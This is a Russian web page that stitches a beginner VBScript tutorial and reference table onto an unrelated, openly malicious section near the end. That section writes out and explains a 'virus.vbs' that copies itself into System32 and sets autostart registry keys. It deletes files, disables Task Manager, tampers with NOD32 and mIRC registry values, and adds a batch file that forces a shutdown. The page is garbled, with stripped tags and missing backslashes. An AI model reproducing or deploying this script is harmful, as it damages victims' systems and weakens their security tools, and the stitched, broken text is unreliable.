Вирус script language vbscript
Все примеры скриптов действуют только в MSIE 3.0 и выше!
Я не ошибусь, если назову Бейсик (BASIC - Begginners Allpurpose Symbolic Instruction Code, т.е символический командный универсальный код для начинающего :) самым простым языком программирования. Даже при небольшом опыте, программы можно писать практически не задумываясь. Свою историю этот язык программирования высокого уровня начал в далеком 1963 году. Именно тогда небольшой группой студентов последнего курса Дортмутского колледжа под чутким руководством профессора Дж. Кемени и была разработана самая первая версия этого языка. В то время, помимо Бейсика, широко были распространены также Fortran, Cobol, Algol, PL/1, Focal и Pascal. Из них, до настоящего времени дожили, пожалуй лишь Паскаль и Бейсик, сильно изменившись при этом.
Кроме Java, MSIE3.0 (и выше), может еще и исполнять программы на VBScript. Netscape Navigator не поддерживает пока (надеюсь, что пока) VBScript, поэтому этот язык не очень широко применяется, а многим даже не известен. А жаль, человеку умеющему писать на обычном QB достаточно месяца, а то и меньше, чтобы перейти на VBscript и создавать красивые активные веб страницы, ни чем не уступающие страницам с JavaScript и даже во многим превосходящие их. Поэтому, если с надеждой смотреть в будущее, то изучить VBScript можно уже сейчас. В этой статье я попытаюсь рассказать основы VBScript, не вдаваясь в тонкости. Моя цель, только заинтересовать рядового пользователя и начинающих WebДизайнеров. Вот и все из истории:) Начнем.
Прежде чем начинать познавать VBScript, давайте сравним две одинаковые, простые программы на JS и VBS. Это будет полезным для тех, кто знает JavaScript (к коим я не отношусь:(.
Суть программы: вводим текст в верхнее поле, нажимаем кнопку "Скопировать" и текст копируется в нижнее поле.
Java Script | VB Script |
Да, как видно, различий практически нет. JS поддерживает только функции, VBS и функции и процедуры (подпрограммы). Так же следует отметить, что VBS отличие от JS не чувствителен к регистру символов, т.е. для него что copyfun(), что CoPYfuN() - один пес:). Так что можете сделать выводы, тем, кто знает ява скрипт, будет легко освоить VBS, а тем кто не знает пока ни того не другого будет еще легче, поскольку переучиваться не придется. Учиться лучше на примерах, поэтому постараюсь их здесь приводить побольше. Я надеюсь, что Вы хотя бы умеете писать программы на обыкновенном Бейсике (QB или TB)? Тогда эта статья именно для Вас.
Начнем изучение не стандартным подходом. Обычно сначала все пишут программу, выводящую на экран строку "ПРИВЕТ ПИПЛЫ :)" Мы же попробуем перевести обычную "Бейсиковскую" программу - на VBscript, чтобы показать - как между ними много общего.
Поставим задачу, написать программу, которая бы случайным образом загадывала число от 1 до 100, и предлагала Вам его угадать. При неправильном предположении, программа должна выводить сообщение о том, больше загаданное число или меньше. Ведется подсчет попыток. В случае победы выводится поздравление.
Программа на обычном Бейсике:
Как видите, такая программа пошла бы даже на БК0010:) Я даже оставил ненавистные операторы GOTO (интересно, об них еще помнят?). Для тех кто не понимает, опишу алгоритм:
Код типичной страницы со скрипт программой будет выглядеть примерно так:
Итак, напишем программу реализующую заданные условия с помощью VBscript
Нажмите на кнопку "Загадать число" и угадайте его:)
Если вдуматься и внимательно изучить приведенный код, то думается многое станет ясным. Ответим на некоторые вопросы, которые могут возникнуть по ходу осмысления программы:
1. Что бы произошло, если бы мы в начале скрипта не объявили переменные? Тогда бы значение переменной "a" заданной в процедуре "sub begin_onclick" не было "видно" в других процедурах (например "sub but_onclick" ). Это упущение приведет или к ошибке, или к тому, что значению "a" не будет ничего присвоено. Можно также воспользоваться оператором "public a" вместо "dim a" тогда значение "a" станет видным во всех открытых на данный момент документах, это актуально при фреймовой структуре. Если написать "dim a(100)" то будет задан массив из сотни переменных "a", в точности как в обычном Бейсике. Во многих случаях переменные можно и не объявлять, если тело программы находится в одной процедуре.
2. Что такое эти процедуры? Процедура это общее название функций или подпрограмм. Имеет синтаксис:
sub name_событие . end sub.
name - это имя процедуры, например мы написали, что кнопка "загадать число" называется "chislo", значит подпрограмма sub chislo_onclick выполнится при нажатии на эту кнопку.
событие - то, что может "случиться" в окне броузера. Например "onclick" означает, что процедура выполнится, при нажатии на кнопку, предварительно заданную в форме (как в нашем случае). Существует несколько видов событий. Из самых распространенных можно отметить: window_onload - запускается при полной загрузке документа:
При загрузке документа появится окошко с данной надписью и кнопкой ОК
Событие onmouseover - возникает при наведении указателя мыши на гипер ссылку.
Разумеется, данный пример Вы можете использовать только как шутку на ссылку "xxx", потому что нажать на нее невозможно:) Но если поменять alert "ссылка" на status="Моя домашняя страница", то это сообщение появится в строке статуса.
Каков полный синтаксис операторов указывающих как "добраться" до данных в поле ввода?
x = top.имя_фрейма.document.имя_формы.имя_объекта_text_box.value
Таким образом, можно добраться до любых данных в окне броузера, даже если они расположены в другом фрейме.
Подведем первые итоги. VBscript перенял от обычного Бейсика большинство операторов и функций (математических, преобразования данных и т.д.). Отличие выражается в специфических операторах ввода-вывода информации из окна броузера и возможных событиях, которые могут "случиться" при взаимодействии пользователя и страницы.
Чтобы Вам было легче экспериментировать в написании скриптов, приведем основные операторы и функции VBscript. А то начнете писать PRINT "привет" или пытаться закончить цикл For оператором Next x :)
СИНТАКСИС | ПРИМЕР | ОПИСАНИЕ |
Операторы работы с массивами.
Dim имя_массива (индексы) | dim a(10),b(20,30) | Объявление массива |
Erase имя_массива | erase a | Очистка содержимого массива |
переменная = значение | a=137 a=b c="привет" | Присваивание |
Set переменная = объект | set a=document.forma1 | Присваивание переменной значени ссылки на объект. |
' комментарии | ' текст |
Rem комментарии | rem текст |
переменная = False | if a=false then . | Значение типа boolean равное 0 |
переменная = True | if a=true then . | Значение типа boolean равное -1 |
Abs (число) | a = abs(-1.34) . a=1.34 | Абсолютное значение числа |
Asc (символ) | a = asc("s") . a=115 | ANSI код символа |
Chr (число) | a = chr(115) . a="s" | Символ соответствующий коду |
Fix (число) | a = fix(-1.5) . a=-1 | Целое число, округление |
Int (число) | a = int(-1.5) . a=-2 | Целое число, округление |
Hex (число) | a = hex(543) . a="21F" | Шестнадцатиричное представление |
Oct (число) | a = oct(543) . a="1037" | Восьмеричное представление |
Sgn (число) | a = sgn(-1.3) . a=-1 | Знак числа |
Date | a = date . a= | Текущая дата |
Day(выражение) | a = day(date) . a= | День |
Time | a = time . a= | Время |
Timer | a = timer . a= | Количество секунд истекших после полуночи |
Now | a = now . a= | Дата и время |
Hour(выражение), Minute(выражение), Month(выражение), Second(выражение), Year(выражение), Weekday(выражение) | a = hour(now) . и т.д. | Час Минута Месяц Секунда Год День недели (вск=1) |
Atn (число) | a = atn(0.37) | Арктангенс |
Tan (число) | a = tan(0.37) | Тангенс |
Cos (число) | a = cos(0.37) | Косинус |
Sin (число) | a = sin(0.37) | Синус |
Exp (число) | a = exp(0.37) | Экспонента |
Log (число) | a = log(0.37) | Логарифм |
Sqr (число) | a = sqr(0.37) | Квадратный корень |
Rnd (число) | a = rnd(1) | Случайное число 0..1 |
Randomize | Randomize | Установка генератора случайных чисел в исходное состояние |
Операторы используемые в выражениях
Привожу просто список, надеюсь все и так ясно: + And / = Eqv ^ > \ Mod * - Or & Xor |
Instr (начало, строка, искомая подстрока) | If Instr(1,mail,@) then . | Возвращает номер символа в строке с которого начинается исходная подстрока |
Lcase (строка) | a=Lcase("ПРивЕТ") . a="привет" | Преобразование символов строки в строчные буквы |
Ucase (строка) | a=Ucase("ПРивЕТ") . a="ПРИВЕТ" | Преобразование символов строки в заглавные буквы |
Left (строка,N символов) | a=Left("Привет",3) . a="При" | Левая часть строки длинной N символов |
Right (строка,N символов) | a=Right("Привет",3) . a="вет" | Правая часть строки длинной N символов |
Len (строка) | a=Len("Привет") . a=6 | Длина строки |
Ltrim (строка) | a=Ltrim(" Привет ",) a="Привет " | Удаляет начальные пробелы |
Rtrim (строка) | a=Rtrim(" Привет ",) a=" Привет" | Удаляет конечные пробелы |
Trim (строка) | a=Ttrim(" Привет ",) a="Привет" | Удаляет начальные и конечные пробелы |
Mid (строка, начало, N символов) | a=Mid("Привет",3,2) a="ве" | Часть строки с позиции "начало" и длиной N символов |
Left(строка,N символов) | a=Left("Привет",3) a="При" | Левая часть строки длинной N символов |
Space (N) | a=Space(5) | Строка из N пробелов |
String (N символов, символ) | a=String(5,"A") a="AAAAA" | Строка из N символов |
Ltrim (строка) | a=Ltrim(" Привет ",) a="Привет " | Удаляет начальные пробелы |
Ветвление и циклы
Call имя_событие | Call but_onclick | Вызов подпрограммы | |||||||||||||||||||||||||||||||||||||||||||||||||||||
Do . Loop Until условие | Do a=a+1 Loop Until a>=5 | Выполняет код хотя бы один раз, пока условие не будет истинным | |||||||||||||||||||||||||||||||||||||||||||||||||||||
Do . Loop While условие | Do a=a+1 Loop While a =5 a=a+1 Loop | Повторяет выполнение кода, пока условие не станет истинным | |||||||||||||||||||||||||||||||||||||||||||||||||||||
Do While условие . Loop | Do While a 1 Then alert"больше" | Выполнение кода при выполнении условия | |||||||||||||||||||||||||||||||||||||||||||||||||||||
Select Case X Case значение1 действие Case значение2 действие2 . End select | Select Case X Case 10 alert"x=10" Case 20 alert"x=20" End select | Выборочное выполнение кода при совпадении значения | |||||||||||||||||||||||||||||||||||||||||||||||||||||
While условие действие Wend | While a
Oбъявление функций и процедур
Веб страница с активным содержимым, всегда делится как бы на две части: Первая, это html код самой страницы содержащий необходимые элементы управления (ссылки, кнопки, формы для ввода информации и т.д.), и Вторая, сценарии на скрипте, которые начинают работать при различных событиях происходящих с элементами управления. Это можно назвать главной отличительной особенностью программ для веб страниц, от обычных исполняемых приложений. Рассмотрим основные приемы вызова сценариев, или процедур. Сценарий вызываемый неявно: Такой способ, по моему мнению, самый простой. Указываем имя оператором name="имя" в теге характерризующим элемент управления, это же "имя" пишем в вызываемой процедуре и через знак подчеркивания пишем событие, которое должно произойти для исполнения сценария. Вызов сценария определяемый в элементе управления: Такой способ обрадует приверженцев Java Script. Среди его преимуществ, перед первым методом можно отметить то, что один и тот же сценарий можно вызывать из разных элементов управления. Автоматический вызов сценария: Код программы в этом случае выполнится сразу после загрузки документа. Вызов из другой процедуры: Все способы, кроме автоматического вызова сценария, чисто визуально будут выглядеть так: Наверное, те кто знаком со "старым" бейсиком, еще помнят, что для обозначения символьной переменной надо было писать знак бакса или солнышка (a$="привет"). В VBscript этого делать не следует, он имеет только один тип данных, называемый VARIANT. Он может содержать как символы так и числа разной точности. Поэтому для того, чтобы точно определить тип данных, желательно использовать функции преобразования. К примеру, текст вводимый в поле формы имеет текстовый формат, и попытка сложить цифру "3" с цифрой "2" приведет к результату "32": Поэтому надо сделать так, чтобы переменные summatext1 и summatext2 были преобразованы в целые числа функцией Cint(переменная): Подтипы данных VARIANT.
В заключении следует упомянуть некоторые основные приемы при написании кода скрипта. Если код не умещается в одной строке, то можно использовать символ продолжения строки: Для "склеивания" двух численных переменных лучше использовать знак "&" чем "+", т.е. a="при" b="вет" тогда a&b="привет" Код сценария желательно, на всякий случай, заключать в теги комментария Я уже говорил, что моей задачей не было рассказать все и вся про VBscript, в статье были приведены только справочные данные и основные методы, пригодные для написания простейших сценариев, без применения ActiveX технологии. Тем, кого заинтересовал этот язык программирования, можно порекомендовать книгу (из бумаги :) "Изучаем VBscript" автор Пол Ломакс. Некоторые справочные данные я брал именно из нее. При большой фантазии, на VBscript можно создать и полноценные приложения, как, к примеру Перекодировщик Rus-Translit или HTML редактор. Так что дерзайте! Программирование на Visual Basic Script для опытных программистов особой сложности не представляет. Достаточно почитать документацию, чтобы понять некоторые особенности языка и узнать отличия между VBScript и Visual Basic, а также между VBScript и VBA. Однако полная документация имеется, в основном, на английском языке. Да и начинающему разобраться в ней будет непросто. И если вы решили взяться за VBScript, то представленная ниже книга вам в этом поможет. Где используется VBScript? Применений довольно много. Подробно об этом вы прочитаете в книге. А если коротко, то используется Visual Basic Script для написания сценариев, которые можно сохранить в файл и затем с их помощью выполнять различные рутинные процедуры. Например, очистку диска от ненужных файлов. Кроме этого сценарии можно встраивать в веб-страницы. Поскольку VBScript является, пожалуй, самым простым в освоении языком сценариев, то он широко используется в различных приложениях, таких как SCADA-системы. Например, SCADA-система Reliance использует именно язык Visual Basic Script, который дополнен некоторыми специфическими для данной системы функциями. Ниже приведено содержание книги. Некоторые разделы можно посмотреть непосредственно на этом сайте. Книга пока не закончена, поэтому рекомендую периодически заглядывать на эту страницу, чтобы получить обновлённую версию. С помощью VBScript вы можете быстро создавать собственные страницы или даже писать игры. И все это размещается внутри вашего HTML-документа. Если вы уже имели дело с Visual Basic или Visual Basic for Applications, то легко справитесь и с VBScript. Создание скриптовДля того чтобы браузер мог различать команды VBScript, нужно все операторы VBScript на HTML-страницах обрамлять тегами . Первый из них используется в паре с атрибутом LANGUAGE для определения языка создания сценария. В нашем случае - Visual Basic Script (хотя может быть и JavaScript). Значением для этого языка является "VBScript": Тег . Всегда употребляйте их парой! Сценарий в нашем примере помещается в специальные скобки , которые в языке HTML обозначают комментарий. Это делается для того, чтобы старые браузеры, которые не умеют работать со скриптовыми языками, случайно не отобразили сценарий на экране. Для них он - просто комментарий. ПроцедурыПроцедуры - это относительно самостоятельные фрагменты программы, оформленные особым образом и обозначенные именами. Упоминание этих имен в тексте программы называется вызовами процедур. Процедуры помогают разбить программу на ряд независимых частей, что необходимо для экономии памяти. Каждая процедура существует в программе в единственном экземпляре, но обращаться к ней можно из разных точек программы. При вызове процедуры вступает в действие последовательность операторов, которые находятся внутри этой процедуры. Процедуре могут быть переданы некоторые параметры. Виды процедурВ VBScript существует два вида процедур: подпрограмма (Sub) и функция (Function). Подпрограмма (Sub) - это последовательность VBScript-операторов, обрамляемая операторами Sub и End Sub. Подпрограммы могут принимать параметры (константы, переменные или выражения, которые передаются при вызове процедуры), но не возвращают значений. Если подпрограмма не содержит параметров, то ее оператор должен включать пустой набор круглых скобок. Следующая подпрограмма использует две функции языка VBScript - InputBox и MsgBox. Она запрашивает у пользователя ввод температуры в градусах Фаренгейта, переводит ее в градусы Цельсия и отображает результат. Вычисление температуры происходит в функции Celsius. Функция (Function) - это последовательность операторов VBScript, обрамляемая операторами Function и End Function. Она похожа на подпрограмму, но отличается от последней тем, что может возвращать некоторое значение. Функция может принимать параметры (константы, переменные или выражения, передаваемые при вызове). Если она не содержит параметров, то оператор Function должен включать пустой набор круглых скобок. Возвращаемый тип у Function - Variant. В следующем примере функция Celsius переводит градусы Фаренгейта в градусы Цельсия. Когда вызывается функция из подпрограммы ConvertTemp, переменная, содержащая параметр-значение, передается в функцию. Результат вычисления возвращается в вызывающую процедуру и отображается в MsgBox. Перед использованием процедур в своей программе вы должны их объявить. Их нужно всегда размещать в самом начале раздела вашей HTML-странички. Весь последующий текст должен также находиться в разделе . Операторы Function и Sub, подобно другим элементам языка VBScript, располагаются между парой тегов для правильного их распознавания браузером. Кроме того, теги комментария ( ) окружают текст программы внутри тега Используйте функции вместо подпрограмм, если требуется возвратить некоторое значение. Использование подпрограмм и функцийДля применения функций в вашей программе необходимо поставить ее название справа от переменной или выражения, в которое будет возвращаться результат выполнения функции, например: Чтобы вызвать одну процедуру из другой, необходимо написать имя первой со значениями требуемых параметров, каждый из которых должен отделяться от предыдущего запятой. Оператор Call не требуется. Но если вы все-таки используете его, то нужно заключить любые параметры в круглые скобки. Следующий пример показывает две возможности вызова процедуры MyProc. Один использует оператор Call, другой - нет. Оба выполняют одно и то же. Обратите внимание, что круглые скобки опускаются при вызове подпрограммы, если оператор Call не применяется. ОбъектОбъект (Object) - это простой объект, методами, свойствами и событиями которого вы можете управлять. Метод - это процедура или просто набор команд, сообщающих объекту, что нужно выполнить некоторую задачу. Свойство - это некоторый вид параметра объекта. Событие - это сигнал, подаваемый, если с объектом что-то происходит. И методы, и свойства, и события разработчик выбирает сам, исходя из потребностей задачи. Так, если в вашей программе нужно отследить время окончания работы, то имеет смысл обращать внимание на событие, сигнализирующее об этом. В противном случае эта информация бесполезна. Объектная модельРассмотрим объект ActiveX Label (объект и элемент управления для VBScript фактически означают одно и то же). Он состоит из свойств и имеет один метод. Некоторые из его свойств включают заголовок (Caption), цвет фона (BackColor), цвет шрифта (ForeColor), размер (FontSize) и стиль шрифта (FontName). Его методом является About Box, отображающий при вызове окно с информацией об ActiveX. Событием для Label является перемещение указателя мыши над Label. Существует специальный тег Создаём файл virus.vbs , открываем блокнот ( в качестве редактора могу порекомендовать notepad++, который можно скачать здесь ) и начинаем писать наш вредоносный скрипт: Set Shell = CreateObject("Wscript.Shell") Теперь разберём каждую строчку: Set Shell = CreateObject("Wscript.Shell") 'с этого момента начинается VB скрипт Set Application = CreateObject("Shell.Application") 'разрешаем приложения Set FileSystemObject = CreateObject("scripting.filesystemobject") 'если в скрипте присутствует код использования ФС (aka файловой системы) то необходимо разрешить эту функцию перед началом ее выполнения Set File = FileSystemObject.GetFile(WScript.ScriptFullName) 'разрешаем работу с файлами (копирование, перемещение и т.д.) On Error Resume Next 'очень важная функция - пропуск ошибок (если какого-то файла/папки не окажется то произойдет ошибка в скрипте и все последующие функции не будут выполнены, после этой функции после возникающих ошибок последующие функции будут выполнятся как ни в чем не бывало) File.Copy ("c:windowsSystem32virus.vbs") 'создаём файл virus.vbs в директории c:windowsSystem32 , который содержит тот же код что и этот (короче данный файл копируется туда) Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunvirus", "C:WINDOWSSYSTEM32virus.vbs" 'прописываем только что созданный файл в автозагрузку через реестр в новый строковый параметр "virus" располагающийся здесь - HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesvirus", "C:WINDOWSSYSTEM32virus.vbs" 'прописываем только что созданный файл в автозагрузку через реестр в новый строковый параметр "virus" располагающийся здесь - HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOncevirus", "C:WINDOWSSYSTEM32virus.vbs" 'если прописать наш файл только здесь, то вирус после перезагрузки запустится только один раз, но. когда он будет запускаться в нем будет присутствовать эта строка, которая снова пропишет его опять таки в эту директорию - и так после каждого ребута он всё равно будет запускаться. (можешь выбрать из всех трёх способов автозагрузки только один, на случай если юзер вдруг случайно наткнется на одну из этих записей в реестре) Shell.popup "message",5, "heading", 0+16 'выводим сообщение с заголовком "heading" и самим сообщением "message" и 0+16=ошибка(можно заменить на 0+64(значок i), 0+48(значок !), 0+32(значок ?) или 0+0(без значка)) и устанавливаем время показа мессаги в 5 сек.(если поставить 0 время показа будет неограниченным) эту сроку можно переместить и в конец скрипта, тогда сообщение будет выводиться после отработки скрипта. Вместо "message" ты можешь подставить любой текст. А что это будет за текст - это уже зависит от твоей фантазии. FileSystemObject.deletefolder"C:example",True 'удаляем папку example на диске C FileSystemObject.deletefile"C:example.txt",True 'удаляем файл example.txt на диске C Shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisabletaskmgr", 1, "REG_DWORD" 'отключаем ctrl+alt+del а точнее запрещаем запуск taskmgr aka диспетчер задач windows Shell.RegWrite "HKEY_CURRENT_USERSoftwaremIRCLicense", "blabla" 'если у юзера зарегана mIRC то можно сделать подляночку - пускай зарегает еще раз:) Для этого меняем серийник на blabla Ты можешь использовать данную функцию для любых других изменений значений реестра, для этого вместо "HKEY_CURRENT_USERSoftwaremIRCLicense" прописываешь путь до интересующего параметра, а вместо "blabla" новое значение. Shell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoEditionName", "hacked by ваш ник " 'в главном окне антивируса NOD32 после слов ESET NOD32 Antivirus появится надпись Hacked by "ваш ник мой пример это trololo" Shell.RegDelete "HKEY_CURRENT_USERexample" 'удаляем ветку реестра HKEY_CURRENT_USERexample 'и на последок делаем следующее: Application.MinimizeAll 'свёртываем все окна InternerExplorer.Visible = True Так, с *.vbs вроде разобрались, а как же юзер который остался наедине с. как бы это сказать по мягче, в общем чтобы он не перевозбудился от всего только что увиденного, ограничим ему время просмотра до 120 секунд (2 минут :)). Для этого создадим файл virus.bat и впишем в него сдедующую команду: shutdown -s -f -t 120 -c "chuvak, chtoby ty ne perevozbudilsja, companija MiCrO$ofT ogranichila vremja prosmotra dannogo sajta do 2 minut, posle chego vy otpravytes v rebut" А чтобы не вылезала некрасивая консоль напишем перед этой командой следующее: Читайте также:
|